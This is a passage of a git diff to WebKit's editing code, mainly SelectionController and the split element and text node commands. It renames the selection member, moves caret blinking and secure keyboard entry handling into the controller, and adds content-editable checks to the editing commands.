             pos = previousParagraphPosition(pos, xPosForVerticalArrowNavigation(EXTENT));
             break;
         case SentenceBoundary:
-            pos = startOfSentence(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = startOfSentence(startForPlatform());
             break;
         case LineBoundary:
-            pos = logicalStartOfLine(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = logicalStartOfLine(startForPlatform());
             break;
         case ParagraphBoundary:
-            pos = startOfParagraph(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = startOfParagraph(startForPlatform());
             break;
         case DocumentBoundary:
-            pos = VisiblePosition(m_sel.start(), m_sel.affinity());
+            pos = startForPlatform();
             if (isEditablePosition(pos.deepEquivalent()))
                 pos = startOfEditableContent(pos);
             else 
@@ -493,9 +531,9 @@ VisiblePosition SelectionController::modifyMovingLeft(TextGranularity granularit
     switch (granularity) {
         case CharacterGranularity:
             if (isRange()) 
-                pos = VisiblePosition(m_sel.start(), m_sel.affinity());
+                pos = VisiblePosition(m_selection.start(), m_selection.affinity());
             else
-                pos = VisiblePosition(m_sel.extent(), m_sel.affinity()).left(true);
+                pos = VisiblePosition(m_selection.extent(), m_selection.affinity()).left(true);
             break;
         case WordGranularity:
         case SentenceGranularity:
@@ -518,33 +556,33 @@ VisiblePosition SelectionController::modifyMovingBackward(TextGranularity granul
     switch (granularity) {
         case CharacterGranularity:
             if (isRange()) 
-                pos = VisiblePosition(m_sel.start(), m_sel.affinity());
+                pos = VisiblePosition(m_selection.start(), m_selection.affinity());
             else
-                pos = VisiblePosition(m_sel.extent(), m_sel.affinity()).previous(true);
+                pos = VisiblePosition(m_selection.extent(), m_selection.affinity()).previous(true);
             break;
         case WordGranularity:
-            pos = previousWordPosition(VisiblePosition(m_sel.extent(), m_sel.affinity()));
+            pos = previousWordPosition(VisiblePosition(m_selection.extent(), m_selection.affinity()));
             break;
         case SentenceGranularity:
-            pos = previousSentencePosition(VisiblePosition(m_sel.extent(), m_sel.affinity()));
+            pos = previousSentencePosition(VisiblePosition(m_selection.extent(), m_selection.affinity()));
             break;
         case LineGranularity:
-            pos = previousLinePosition(VisiblePosition(m_sel.start(), m_sel.affinity()), xPosForVerticalArrowNavigation(START));
+            pos = previousLinePosition(startForPlatform(), xPosForVerticalArrowNavigation(START));
             break;
         case ParagraphGranularity:
-            pos = previousParagraphPosition(VisiblePosition(m_sel.start(), m_sel.affinity()), xPosForVerticalArrowNavigation(START));
+            pos = previousParagraphPosition(startForPlatform(), xPosForVerticalArrowNavigation(START));
             break;
         case SentenceBoundary:
-            pos = startOfSentence(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = startOfSentence(startForPlatform());
             break;
         case LineBoundary:
-            pos = logicalStartOfLine(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = logicalStartOfLine(startForPlatform());
             break;
         case ParagraphBoundary:
-            pos = startOfParagraph(VisiblePosition(m_sel.start(), m_sel.affinity()));
+            pos = startOfParagraph(startForPlatform());
             break;
         case DocumentBoundary:
-            pos = VisiblePosition(m_sel.start(), m_sel.affinity());
+            pos = startForPlatform();
             if (isEditablePosition(pos.deepEquivalent()))
                 pos = startOfEditableContent(pos);
             else 
@@ -558,7 +596,7 @@ bool SelectionController::modify(EAlteration alter, EDirection dir, TextGranular
 {
     if (userTriggered) {
         SelectionController trialSelectionController;
-        trialSelectionController.setSelection(m_sel);
+        trialSelectionController.setSelection(m_selection);
         trialSelectionController.setLastChangeWasHorizontalExtension(m_lastChangeWasHorizontalExtension);
         trialSelectionController.modify(alter, dir, granularity, false);
 
@@ -567,9 +605,6 @@ bool SelectionController::modify(EAlteration alter, EDirection dir, TextGranular
             return false;
     }
 
-    if (m_frame)
-        m_frame->setSelectionGranularity(granularity);
-    
     willBeModified(alter, dir);
 
     VisiblePosition pos;
@@ -602,7 +637,7 @@ bool SelectionController::modify(EAlteration alter, EDirection dir, TextGranular
 
     if (pos.isNull())
         return false;
-    
+
     // Some of the above operations set an xPosForVerticalArrowNavigation.
     // Setting a selection will clear it, so save it to possibly restore later.
     // Note: the START position type is arbitrary because it is unused, it would be
@@ -621,14 +656,9 @@ bool SelectionController::modify(EAlteration alter, EDirection dir, TextGranular
     if (granularity == LineGranularity || granularity == ParagraphGranularity)
         m_xPosForVerticalArrowNavigation = x;
 
-    if (userTriggered) {
-        // User modified selection change also sets the granularity back to character.
-        // NOTE: The one exception is that we need to keep word granularity to
-        // preserve smart delete behavior when extending by word (e.g. double-click),
-        // then shift-option-right arrow, then delete needs to smart delete, per TextEdit.
-        if (!(alter == EXTEND && granularity == WordGranularity && m_frame->selectionGranularity() == WordGranularity))
-            m_frame->setSelectionGranularity(CharacterGranularity);
-    }
+    if (userTriggered)
+        m_granularity = CharacterGranularity;
+
 
     setNeedsLayout();
 
@@ -654,7 +684,7 @@ bool SelectionController::modify(EAlteration alter, int verticalDistance, bool u
 
     if (userTriggered) {
         SelectionController trialSelectionController;
-        trialSelectionController.setSelection(m_sel);
+        trialSelectionController.setSelection(m_selection);
         trialSelectionController.setLastChangeWasHorizontalExtension(m_lastChangeWasHorizontalExtension);
         trialSelectionController.modify(alter, verticalDistance, false);
 
@@ -673,14 +703,14 @@ bool SelectionController::modify(EAlteration alter, int verticalDistance, bool u
     int xPos = 0;
     switch (alter) {
         case MOVE:
-            pos = VisiblePosition(up ? m_sel.start() : m_sel.end(), m_sel.affinity());
+            pos = VisiblePosition(up ? m_selection.start() : m_selection.end(), m_selection.affinity());
             xPos = xPosForVerticalArrowNavigation(up ? START : END);
-            m_sel.setAffinity(up ? UPSTREAM : DOWNSTREAM);
+            m_selection.setAffinity(up ? UPSTREAM : DOWNSTREAM);
             break;
         case EXTEND:
-            pos = VisiblePosition(m_sel.extent(), m_sel.affinity());
+            pos = VisiblePosition(m_selection.extent(), m_selection.affinity());
             xPos = xPosForVerticalArrowNavigation(EXTENT);
-            m_sel.setAffinity(DOWNSTREAM);
+            m_selection.setAffinity(DOWNSTREAM);
             break;
     }
 
@@ -723,23 +753,13 @@ bool SelectionController::modify(EAlteration alter, int verticalDistance, bool u
     }
 
     if (userTriggered)
-        m_frame->setSelectionGranularity(CharacterGranularity);
+        m_granularity = CharacterGranularity;
 
     m_lastChangeWasHorizontalExtension = alter == EXTEND;
 
     return true;
 }
 
-bool SelectionController::expandUsingGranularity(TextGranularity granularity)
-{
-    if (isNone())
-        return false;
-
-    m_sel.expandUsingGranularity(granularity);
-    m_needsLayout = true;
-    return true;
-}
-
 int SelectionController::xPosForVerticalArrowNavigation(EPositionType type)
 {
     int x = 0;
@@ -750,16 +770,16 @@ int SelectionController::xPosForVerticalArrowNavigation(EPositionType type)
     Position pos;
     switch (type) {
         case START:
-            pos = m_sel.start();
+            pos = m_selection.start();
             break;
         case END:
-            pos = m_sel.end();
+            pos = m_selection.end();
             break;
         case BASE:
-            pos = m_sel.base();
+            pos = m_selection.base();
             break;
         case EXTENT:
-            pos = m_sel.extent();
+            pos = m_selection.extent();
             break;
     }
 
@@ -768,7 +788,7 @@ int SelectionController::xPosForVerticalArrowNavigation(EPositionType type)
         return x;
         
     if (m_xPosForVerticalArrowNavigation == NoXPosForVerticalArrowNavigation) {
-        VisiblePosition visiblePosition(pos, m_sel.affinity());
+        VisiblePosition visiblePosition(pos, m_selection.affinity());
         // VisiblePosition creation can fail here if a node containing the selection becomes visibility:hidden
         // after the selection is created and before this function is called.
         x = visiblePosition.isNotNull() ? visiblePosition.xOffsetForVerticalNavigation() : 0;
@@ -782,27 +802,28 @@ int SelectionController::xPosForVerticalArrowNavigation(EPositionType type)
 
 void SelectionController::clear()
 {
+    m_granularity = CharacterGranularity;
     setSelection(VisibleSelection());
 }
 
 void SelectionController::setBase(const VisiblePosition &pos, bool userTriggered)
 {
-    setSelection(VisibleSelection(pos.deepEquivalent(), m_sel.extent(), pos.affinity()), true, true, userTriggered);
+    setSelection(VisibleSelection(pos.deepEquivalent(), m_selection.extent(), pos.affinity()), true, true, userTriggered);
 }
 
 void SelectionController::setExtent(const VisiblePosition &pos, bool userTriggered)
 {
-    setSelection(VisibleSelection(m_sel.base(), pos.deepEquivalent(), pos.affinity()), true, true, userTriggered);
+    setSelection(VisibleSelection(m_selection.base(), pos.deepEquivalent(), pos.affinity()), true, true, userTriggered);
 }
 
 void SelectionController::setBase(const Position &pos, EAffinity affinity, bool userTriggered)
 {
-    setSelection(VisibleSelection(pos, m_sel.extent(), affinity), true, true, userTriggered);
+    setSelection(VisibleSelection(pos, m_selection.extent(), affinity), true, true, userTriggered);
 }
 
 void SelectionController::setExtent(const Position &pos, EAffinity affinity, bool userTriggered)
 {
-    setSelection(VisibleSelection(m_sel.base(), pos, affinity), true, true, userTriggered);
+    setSelection(VisibleSelection(m_selection.base(), pos, affinity), true, true, userTriggered);
 }
 
 void SelectionController::setNeedsLayout(bool flag)
@@ -812,17 +833,17 @@ void SelectionController::setNeedsLayout(bool flag)
 
 void SelectionController::layout()
 {
-    if (isNone() || !m_sel.start().node()->inDocument() || !m_sel.end().node()->inDocument()) {
+    if (isNone() || !m_selection.start().node()->inDocument() || !m_selection.end().node()->inDocument()) {
         m_caretRect = IntRect();
         return;
     }
 
-    m_sel.start().node()->document()->updateStyleIfNeeded();
+    m_selection.start().node()->document()->updateStyleIfNeeded();
     
     m_caretRect = IntRect();
         
     if (isCaret()) {
-        VisiblePosition pos(m_sel.start(), m_sel.affinity());
+        VisiblePosition pos(m_selection.start(), m_selection.affinity());
         if (pos.isNotNull()) {
             ASSERT(pos.deepEquivalent().node()->renderer());
             
@@ -835,7 +856,6 @@ void SelectionController::layout()
             RenderObject* caretPainter = caretRenderer();
 
             // Compute an offset between the renderer and the caretPainter
-            IntSize offsetFromPainter;
             bool unrooted = false;
             while (renderer != caretPainter) {
                 RenderObject* containerObject = renderer->container();
@@ -843,15 +863,12 @@ void SelectionController::layout()
                     unrooted = true;
                     break;
                 }
-                offsetFromPainter += renderer->offsetFromContainer(containerObject);
+                localRect.move(renderer->offsetFromContainer(containerObject, localRect.location()));
                 renderer = containerObject;
             }
             
-            if (!unrooted) {
-                // Move the caret rect to the coords of the painter
-                localRect.move(offsetFromPainter);
+            if (!unrooted)
                 m_caretRect = localRect;
-            }
             
             m_absCaretBoundsDirty = true;
         }
@@ -862,7 +879,7 @@ void SelectionController::layout()
 
 RenderObject* SelectionController::caretRenderer() const
 {
-    Node* node = m_sel.start().node();
+    Node* node = m_selection.start().node();
     if (!node)
         return 0;
 
@@ -945,18 +962,27 @@ bool SelectionController::recomputeCaretRect()
     if (RenderView* view = toRenderView(m_frame->document()->renderer())) {
         // FIXME: make caret repainting container-aware.
         view->repaintRectangleInViewAndCompositedLayers(oldAbsoluteCaretRepaintBounds, false);
-        view->repaintRectangleInViewAndCompositedLayers(m_absoluteCaretRepaintBounds, false);
+        if (shouldRepaintCaret(view))
+            view->repaintRectangleInViewAndCompositedLayers(m_absoluteCaretRepaintBounds, false);
     }
 
     return true;
 }
 
+bool SelectionController::shouldRepaintCaret(const RenderView* view) const
+{
+    ASSERT(view);
+    Frame* frame = view->frameView() ? view->frameView()->frame() : 0; // The frame where the selection started.
+    bool caretBrowsing = frame && frame->settings() && frame->settings()->caretBrowsingEnabled();
+    return (caretBrowsing || isContentEditable());
+}
+
 void SelectionController::invalidateCaretRect()
 {
     if (!isCaret())
         return;
 
-    Document* d = m_sel.start().node()->document();
+    Document* d = m_selection.start().node()->document();
 
     // recomputeCaretRect will always return false for the drag caret,
     // because its m_frame is always 0.
@@ -976,30 +1002,38 @@ void SelectionController::invalidateCaretRect()
     m_needsLayout = true;
 
     if (!caretRectChanged) {
-        if (RenderView* view = toRenderView(d->renderer()))
+        RenderView* view = toRenderView(d->renderer());
+        if (view && shouldRepaintCaret(view))
             view->repaintRectangleInViewAndCompositedLayers(caretRepaintRect(), false);
     }
 }
 
-void SelectionController::paintCaret(GraphicsContext* p, int tx, int ty, const IntRect& clipRect)
+void SelectionController::paintCaret(GraphicsContext* context, int tx, int ty, const IntRect& clipRect)
 {
-    if (! m_sel.isCaret())
+#if ENABLE(TEXT_CARET)
+    if (!m_caretVisible)
+        return;
+    if (!m_caretPaint)
+        return;
+    if (!m_selection.isCaret())
         return;
-
-    if (m_needsLayout)
-        layout();
 
     IntRect drawingRect = localCaretRect();
     drawingRect.move(tx, ty);
     IntRect caret = intersection(drawingRect, clipRect);
-    if (!caret.isEmpty()) {
-        Color caretColor = Color::black;
-        Element* element = rootEditableElement();
-        if (element && element->renderer())
-            caretColor = element->renderer()->style()->color();
+    if (caret.isEmpty())
+        return;
 
-        p->fillRect(caret, caretColor);
+    Color caretColor = Color::black;
+    ColorSpace colorSpace = DeviceColorSpace;
+    Element* element = rootEditableElement();
+    if (element && element->renderer()) {
+        caretColor = element->renderer()->style()->color();
+        colorSpace = element->renderer()->style()->colorSpace();
     }
+
+    context->fillRect(caret, caretColor, colorSpace);
+#endif
 }
 
 void SelectionController::debugRenderer(RenderObject *r, bool selected) const
@@ -1020,10 +1054,10 @@ void SelectionController::debugRenderer(RenderObject *r, bool selected) const
         int textLength = text.length();
         if (selected) {
             int offset = 0;
-            if (r->node() == m_sel.start().node())
-                offset = m_sel.start().deprecatedEditingOffset();
-            else if (r->node() == m_sel.end().node())
-                offset = m_sel.end().deprecatedEditingOffset();
+            if (r->node() == m_selection.start().node())
+                offset = m_selection.start().deprecatedEditingOffset();
+            else if (r->node() == m_selection.end().node())
+                offset = m_selection.end().deprecatedEditingOffset();
                 
             int pos;
             InlineTextBox *box = textRenderer->findNextInlineTextBox(offset, pos);
@@ -1097,11 +1131,11 @@ bool SelectionController::contains(const IntPoint& point)
     if (visiblePos.isNull())
         return false;
         
-    if (m_sel.visibleStart().isNull() || m_sel.visibleEnd().isNull())
+    if (m_selection.visibleStart().isNull() || m_selection.visibleEnd().isNull())
         return false;
         
-    Position start(m_sel.visibleStart().deepEquivalent());
-    Position end(m_sel.visibleEnd().deepEquivalent());
+    Position start(m_selection.visibleStart().deepEquivalent());
+    Position end(m_selection.visibleEnd().deepEquivalent());
     Position p(visiblePos.deepEquivalent());
 
     return comparePositions(start, p) <= 0 && comparePositions(p, end) <= 0;
@@ -1167,7 +1201,7 @@ void SelectionController::selectAll()
     
     Node* root = 0;
     if (isContentEditable())
-        root = highestEditableRoot(m_sel.start());
+        root = highestEditableRoot(m_selection.start());
     else {
         root = shadowTreeRootNode();
         if (!root)
@@ -1259,7 +1293,7 @@ void SelectionController::focusedOrActiveStateChanged()
     // Caret appears in the active frame.
     if (activeAndFocused)
         m_frame->setSelectionFromNone();
-    m_frame->setCaretVisible(activeAndFocused);
+    setCaretVisible(activeAndFocused);
 
     // Update for caps lock state
     m_frame->eventHandler()->capsLockStateMayHaveChanged();
@@ -1276,7 +1310,7 @@ void SelectionController::focusedOrActiveStateChanged()
 
     // Secure keyboard entry is set by the active frame.
     if (m_frame->document()->useSecureKeyboardEntryWhenActive())
-        m_frame->setUseSecureKeyboardEntry(activeAndFocused);
+        setUseSecureKeyboardEntry(activeAndFocused);
 }
 
 void SelectionController::pageActivationChanged()
@@ -1284,6 +1318,20 @@ void SelectionController::pageActivationChanged()
     focusedOrActiveStateChanged();
 }
 
+void SelectionController::updateSecureKeyboardEntryIfActive()
+{
+    if (m_frame->document() && isFocusedAndActive())
+        setUseSecureKeyboardEntry(m_frame->document()->useSecureKeyboardEntryWhenActive());
+}
+
+void SelectionController::setUseSecureKeyboardEntry(bool enable)
+{
+    if (enable)
+        enableSecureTextInput();
+    else
+        disableSecureTextInput();
+}
+
 void SelectionController::setFocused(bool flag)
 {
     if (m_focused == flag)
@@ -1298,16 +1346,110 @@ bool SelectionController::isFocusedAndActive() const
     return m_focused && m_frame->page() && m_frame->page()->focusController()->isActive();
 }
 
+void SelectionController::updateAppearance()
+{
+    ASSERT(!m_isDragCaretController);
+
+#if ENABLE(TEXT_CARET)
+    bool caretRectChanged = recomputeCaretRect();
+
+    bool caretBrowsing = m_frame->settings() && m_frame->settings()->caretBrowsingEnabled();
+    bool shouldBlink = m_caretVisible
+        && isCaret() && (isContentEditable() || caretBrowsing);
+
+    // If the caret moved, stop the blink timer so we can restart with a
+    // black caret in the new location.
+    if (caretRectChanged || !shouldBlink)
+        m_caretBlinkTimer.stop();
+
+    // Start blinking with a black caret. Be sure not to restart if we're
+    // already blinking in the right location.
+    if (shouldBlink && !m_caretBlinkTimer.isActive()) {
+        if (double blinkInterval = m_frame->page()->theme()->caretBlinkInterval())
+            m_caretBlinkTimer.startRepeating(blinkInterval);
+
+        if (!m_caretPaint) {
+            m_caretPaint = true;
+            invalidateCaretRect();
+        }
+    }
+#endif
+
+    RenderView* view = m_frame->contentRenderer();
+    if (!view)
+        return;
+
+    VisibleSelection selection = this->selection();
+
+    if (!selection.isRange()) {
+        view->clearSelection();
+        return;
+    }
+
+    // Use the rightmost candidate for the start of the selection, and the leftmost candidate for the end of the selection.
+    // Example: foo <a>bar</a>.  Imagine that a line wrap occurs after 'foo', and that 'bar' is selected.   If we pass [foo, 3]
+    // as the start of the selection, the selection painting code will think that content on the line containing 'foo' is selected
+    // and will fill the gap before 'bar'.
+    Position startPos = selection.start();
+    Position candidate = startPos.downstream();
+    if (candidate.isCandidate())
+        startPos = candidate;
+    Position endPos = selection.end();
+    candidate = endPos.upstream();
+    if (candidate.isCandidate())
+        endPos = candidate;
+
+    // We can get into a state where the selection endpoints map to the same VisiblePosition when a selection is deleted
+    // because we don't yet notify the SelectionController of text removal.
+    if (startPos.isNotNull() && endPos.isNotNull() && selection.visibleStart() != selection.visibleEnd()) {
+        RenderObject* startRenderer = startPos.node()->renderer();
+        RenderObject* endRenderer = endPos.node()->renderer();
+        view->setSelection(startRenderer, startPos.deprecatedEditingOffset(), endRenderer, endPos.deprecatedEditingOffset());
+    }
+}
+
+void SelectionController::setCaretVisible(bool flag)
+{
+    if (m_caretVisible == flag)
+        return;
+    clearCaretRectIfNeeded();
+    m_caretVisible = flag;
+    updateAppearance();
+}
+
+void SelectionController::clearCaretRectIfNeeded()
+{
+#if ENABLE(TEXT_CARET)
+    if (!m_caretPaint)
+        return;
+    m_caretPaint = false;
+    invalidateCaretRect();
+#endif
+}
+
+void SelectionController::caretBlinkTimerFired(Timer<SelectionController>*)
+{
+#if ENABLE(TEXT_CARET)
+    ASSERT(m_caretVisible);
+    ASSERT(isCaret());
+    bool caretPaint = m_caretPaint;
+    if (isCaretBlinkingSuspended() && caretPaint)
+        return;
+    m_caretPaint = !caretPaint;
+    invalidateCaretRect();
+#endif
+}
+
 #ifndef NDEBUG
 
 void SelectionController::formatForDebugger(char* buffer, unsigned length) const
 {
-    m_sel.formatForDebugger(buffer, length);
+    m_selection.formatForDebugger(buffer, length);
 }
 
 void SelectionController::showTreeForThis() const
 {
-    m_sel.showTreeForThis();
+    m_selection.showTreeForThis();
 }
 
 #endif
diff --git a/src/3rdparty/webkit/WebCore/editing/SelectionController.h b/src/3rdparty/webkit/WebCore/editing/SelectionController.h
index 4a13a30..a48e39a 100644
--- a/src/3rdparty/webkit/WebCore/editing/SelectionController.h
+++ b/src/3rdparty/webkit/WebCore/editing/SelectionController.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2004 Apple Computer, Inc.  All rights reserved.
+ * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -28,6 +28,7 @@
 
 #include "IntRect.h"
 #include "Range.h"
+#include "Timer.h"
 #include "VisibleSelection.h"
 #include <wtf/Noncopyable.h>
 
@@ -36,6 +37,7 @@ namespace WebCore {
 class Frame;
 class GraphicsContext;
 class RenderObject;
+class RenderView;
 class VisiblePosition;
 
 class SelectionController : public Noncopyable {
@@ -45,10 +47,10 @@ public:
 
     SelectionController(Frame* = 0, bool isDragCaretController = false);
 
-    Element* rootEditableElement() const { return m_sel.rootEditableElement(); }
-    bool isContentEditable() const { return m_sel.isContentEditable(); }
-    bool isContentRichlyEditable() const { return m_sel.isContentRichlyEditable(); }
-    Node* shadowTreeRootNode() const { return m_sel.shadowTreeRootNode(); }
+    Element* rootEditableElement() const { return m_selection.rootEditableElement(); }
+    bool isContentEditable() const { return m_selection.isContentEditable(); }
+    bool isContentRichlyEditable() const { return m_selection.isContentRichlyEditable(); }
+    Node* shadowTreeRootNode() const { return m_selection.shadowTreeRootNode(); }
      
     void moveTo(const Range*, EAffinity, bool userTriggered = false);
     void moveTo(const VisiblePosition&, bool userTriggered = false);
@@ -56,8 +58,9 @@ public:
     void moveTo(const Position&, EAffinity, bool userTriggered = false);
     void moveTo(const Position&, const Position&, EAffinity, bool userTriggered = false);
 
-    const VisibleSelection& selection() const { return m_sel; }
-    void setSelection(const VisibleSelection&, bool closeTyping = true, bool clearTypingStyle = true, bool userTriggered = false);
+    const VisibleSelection& selection() const { return m_selection; }
+    void setSelection(const VisibleSelection&, bool closeTyping = true, bool clearTypingStyle = true, bool userTriggered = false, TextGranularity = CharacterGranularity);
+    void setSelection(const VisibleSelection& selection, TextGranularity granularity) { setSelection(selection, true, true, false, granularity); }
     bool setSelectedRange(Range*, EAffinity, bool closeTyping);
     void selectAll();
     void clear();
@@ -67,23 +70,23 @@ public:
 
     bool contains(const IntPoint&);
 
-    VisibleSelection::SelectionType selectionType() const { return m_sel.selectionType(); }
+    VisibleSelection::SelectionType selectionType() const { return m_selection.selectionType(); }
 
-    EAffinity affinity() const { return m_sel.affinity(); }
+    EAffinity affinity() const { return m_selection.affinity(); }
 
     bool modify(EAlteration, EDirection, TextGranularity, bool userTriggered = false);
     bool modify(EAlteration, int verticalDistance, bool userTriggered = false);
-    bool expandUsingGranularity(TextGranularity);
+    TextGranularity granularity() const { return m_granularity; }
 
     void setBase(const VisiblePosition&, bool userTriggered = false);
     void setBase(const Position&, EAffinity, bool userTriggered = false);
     void setExtent(const VisiblePosition&, bool userTriggered = false);
     void setExtent(const Position&, EAffinity, bool userTriggered = false);
 
-    Position base() const { return m_sel.base(); }
-    Position extent() const { return m_sel.extent(); }
-    Position start() const { return m_sel.start(); }
-    Position end() const { return m_sel.end(); }
+    Position base() const { return m_selection.base(); }
+    Position extent() const { return m_selection.extent(); }
+    Position start() const { return m_selection.start(); }
+    Position end() const { return m_selection.end(); }
 
     // Return the renderer that is responsible for painting the caret (in the selection start node)
     RenderObject* caretRenderer() const;
@@ -97,19 +100,21 @@ public:
     void setLastChangeWasHorizontalExtension(bool b) { m_lastChangeWasHorizontalExtension = b; }
     void willBeModified(EAlteration, EDirection);
     
-    bool isNone() const { return m_sel.isNone(); }
-    bool isCaret() const { return m_sel.isCaret(); }
-    bool isRange() const { return m_sel.isRange(); }
-    bool isCaretOrRange() const { return m_sel.isCaretOrRange(); }
+    bool isNone() const { return m_selection.isNone(); }
+    bool isCaret() const { return m_selection.isCaret(); }
+    bool isRange() const { return m_selection.isRange(); }
+    bool isCaretOrRange() const { return m_selection.isCaretOrRange(); }
     bool isInPasswordField() const;
-    bool isAll(StayInEditableContent stayInEditableContent = MustStayInEditableContent) const { return m_sel.isAll(stayInEditableContent); }
+    bool isAll(StayInEditableContent stayInEditableContent = MustStayInEditableContent) const { return m_selection.isAll(stayInEditableContent); }
     
-    PassRefPtr<Range> toNormalizedRange() const { return m_sel.toNormalizedRange(); }
+    PassRefPtr<Range> toNormalizedRange() const { return m_selection.toNormalizedRange(); }
 
     void debugRenderer(RenderObject*, bool selected) const;
     
     void nodeWillBeRemoved(Node*);
 
+    void setCaretVisible(bool = true);
+    void clearCaretRectIfNeeded();
     bool recomputeCaretRect(); // returns true if caret rect moved
     void invalidateCaretRect();
     void paintCaret(GraphicsContext*, int tx, int ty, const IntRect& clipRect);
@@ -124,6 +129,11 @@ public:
     bool isFocusedAndActive() const;
     void pageActivationChanged();
 
+    // Painting.
+    void updateAppearance();
+
+    void updateSecureKeyboardEntryIfActive();
+
 #ifndef NDEBUG
     void formatForDebugger(char* buffer, unsigned length) const;
     void showTreeForThis() const;
@@ -134,6 +144,10 @@ private:
 
     TextDirection directionOfEnclosingBlock();
 
+    VisiblePosition positionForPlatform(bool isGetStart) const;
+    VisiblePosition startForPlatform() const;
+    VisiblePosition endForPlatform() const;
+
     VisiblePosition modifyExtendingRight(TextGranularity);
     VisiblePosition modifyExtendingForward(TextGranularity);
     VisiblePosition modifyMovingRight(TextGranularity);
@@ -145,47 +159,49 @@ private:
 
     void layout();
     IntRect caretRepaintRect() const;
+    bool shouldRepaintCaret(const RenderView* view) const;
 
     int xPosForVerticalArrowNavigation(EPositionType);
     
-#if PLATFORM(MAC) || PLATFORM(GTK)
     void notifyAccessibilityForSelectionChange();
-#else
-    void notifyAccessibilityForSelectionChange() {};
-#endif
 
     void focusedOrActiveStateChanged();
     bool caretRendersInsideNode(Node*) const;
     
     IntRect absoluteBoundsForLocalRect(const IntRect&) const;
 
+    void caretBlinkTimerFired(Timer<SelectionController>*);
+
+    void setUseSecureKeyboardEntry(bool);
+
     Frame* m_frame;
+
     int m_xPosForVerticalArrowNavigation;
 
-    VisibleSelection m_sel;
+    VisibleSelection m_selection;
+    TextGranularity m_granularity;
 
-    IntRect m_caretRect;        // caret rect in coords local to the renderer responsible for painting the caret
-    IntRect m_absCaretBounds;   // absolute bounding rect for the caret
+    Timer<SelectionController> m_caretBlinkTimer;
+
+    IntRect m_caretRect; // caret rect in coords local to the renderer responsible for painting the caret
+    IntRect m_absCaretBounds; // absolute bounding rect for the caret
     IntRect m_absoluteCaretRepaintBounds;
     
-    bool m_needsLayout : 1;       // true if the caret and expectedVisible rectangles need to be calculated
-    bool m_absCaretBoundsDirty: 1;
-    bool m_lastChangeWasHorizontalExtension : 1;
-    bool m_isDragCaretController : 1;
-    bool m_isCaretBlinkingSuspended : 1;
-    bool m_focused : 1;
-
+    bool m_needsLayout; // true if m_caretRect and m_absCaretBounds need to be calculated
+    bool m_absCaretBoundsDirty;
+    bool m_lastChangeWasHorizontalExtension;
+    bool m_isDragCaretController;
+    bool m_isCaretBlinkingSuspended;
+    bool m_focused;
+    bool m_caretVisible;
+    bool m_caretPaint;
 };
 
-inline bool operator==(const SelectionController& a, const SelectionController& b)
-{
-    return a.start() == b.start() && a.end() == b.end() && a.affinity() == b.affinity();
-}
-
-inline bool operator!=(const SelectionController& a, const SelectionController& b)
+#if !(PLATFORM(MAC) || PLATFORM(GTK))
+inline void SelectionController::notifyAccessibilityForSelectionChange()
 {
-    return !(a == b);
 }
+#endif
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.cpp b/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.cpp
index 35dfc6f..2998c6a 100644
--- a/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.cpp
@@ -41,35 +41,39 @@ SplitElementCommand::SplitElementCommand(PassRefPtr<Element> element, PassRefPtr
     ASSERT(m_atChild->parentNode() == m_element2);
 }
 
-void SplitElementCommand::doApply()
+void SplitElementCommand::executeApply()
 {
-    RefPtr<Element> prefixElement = m_element2->cloneElementWithoutChildren();
-
     if (m_atChild->parentNode() != m_element2)
         return;
-
+    
     Vector<RefPtr<Node> > children;
     for (Node* node = m_element2->firstChild(); node != m_atChild; node = node->nextSibling())
         children.append(node);
-
+    
     ExceptionCode ec = 0;
-
+    
     Node* parent = m_element2->parentNode();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
-    parent->insertBefore(prefixElement.get(), m_element2.get(), ec);
+    parent->insertBefore(m_element1.get(), m_element2.get(), ec);
     if (ec)
         return;
-    m_element1 = prefixElement.release();
-
+    
     size_t size = children.size();
     for (size_t i = 0; i < size; ++i)
         m_element1->appendChild(children[i], ec);
 }
+    
+void SplitElementCommand::doApply()
+{
+    m_element1 = m_element2->cloneElementWithoutChildren();
+    
+    executeApply();
+}
 
 void SplitElementCommand::doUnapply()
 {
-    if (!m_element1)
+    if (!m_element1 || !m_element1->isContentEditable() || !m_element2->isContentEditable())
         return;
 
     Vector<RefPtr<Node> > children;
@@ -85,7 +89,14 @@ void SplitElementCommand::doUnapply()
         m_element2->insertBefore(children[i].get(), refChild.get(), ec);
 
     m_element1->remove(ec);
-    m_element1 = 0;
 }
 
+void SplitElementCommand::doReapply()
+{
+    if (!m_element1)
+        return;
+    
+    executeApply();
+}
+    
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.h b/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.h
index 2732762..7ea8f5b 100644
--- a/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/SplitElementCommand.h
@@ -42,6 +42,8 @@ private:
 
     virtual void doApply();
     virtual void doUnapply();
+    virtual void doReapply();
+    void executeApply();
 
     RefPtr<Element> m_element1;
     RefPtr<Element> m_element2;
diff --git a/src/3rdparty/webkit/WebCore/editing/SplitTextNodeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/SplitTextNodeCommand.cpp
index 3b04e01..15daa49 100644
--- a/src/3rdparty/webkit/WebCore/editing/SplitTextNodeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/SplitTextNodeCommand.cpp
@@ -49,6 +49,10 @@ SplitTextNodeCommand::SplitTextNodeCommand(PassRefPtr<Text> text, int offset)
 
 void SplitTextNodeCommand::doApply()
 {
+    Node* parent = m_text2->parentNode();
+    if (!parent || !parent->isContentEditable())
+        return;
+
     ExceptionCode ec = 0;
 
     String prefixText = m_text2->substringData(0, m_offset, ec);
@@ -59,9 +63,6 @@ void SplitTextNodeCommand::doApply()
     ASSERT(prefixTextNode);
